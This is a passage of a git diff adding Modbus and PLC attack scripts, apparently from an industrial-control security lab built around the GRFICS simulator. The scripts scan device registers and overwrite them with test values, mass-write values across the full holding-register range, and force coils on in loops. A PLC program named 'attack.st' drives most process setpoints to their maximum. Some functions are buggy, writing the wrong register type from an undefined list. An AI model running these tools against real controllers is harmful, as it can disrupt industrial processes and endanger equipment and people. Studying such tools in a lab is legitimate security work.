Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + 